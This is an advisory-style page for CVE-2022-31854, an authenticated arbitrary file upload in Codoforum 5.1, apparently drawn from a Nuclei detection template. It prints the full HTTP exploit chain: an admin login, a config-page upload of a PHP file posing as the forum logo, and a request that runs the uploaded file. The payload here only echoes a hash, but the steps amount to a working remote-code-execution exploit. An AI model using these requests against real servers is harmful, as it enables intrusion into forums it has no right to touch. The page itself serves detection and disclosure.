| Title | Codoforum 5.1 - Arbitrary File Upload |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system. |
| Remediation | Apply the latest security patch or upgrade to a patched version of Codoforum. |
| CVSS Score | 7.2 |
| EPSS Score | 0.85495 |
| CVE ID | CVE-2022-31854 |
| CWE ID | CWE-434 |
| Tags | cve cve2022 rce codoforumrce authenticated intrusive codologic vuln |
Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
POST /admin/?page=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 246
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryACGPpj7UIqmtLNbB
Accept-Encoding: gzip
------WebKitFormBoundaryACGPpj7UIqmtLNbB
Content-Disposition: form-data; name="username"
nMDQUD
------WebKitFormBoundaryACGPpj7UIqmtLNbB
Content-Disposition: form-data; name="password"
AFaxra
------WebKitFormBoundaryACGPpj7UIqmtLNbB--
GET /admin/index.php?page=config HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Connection: close
Accept-Encoding: gzip
POST /admin/index.php?page=config HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0 (x64 de)
Connection: close
Content-Length: 467
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLtdjuqj2ixPvBhA
Accept-Encoding: gzip
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
Content-Disposition: form-data; name="site_title"
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
Content-Disposition: form-data; name="forum_logo"; filename="38FA1qyx8YafsRx6Gk9clhKFvsj.php"
Content-Type: application/x-httpd-php
<?php
echo md5('CVE-2022-31854');
?>
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
Content-Disposition: form-data; name="CSRF_token"
CDZxrd
------WebKitFormBoundaryoLtdjuqj2ixPvBhA--
GET /sites/default/assets/img/attachments/38FA1qyx8YafsRx6Gk9clhKFvsj.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31854.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-31854.pcap
N/AN/A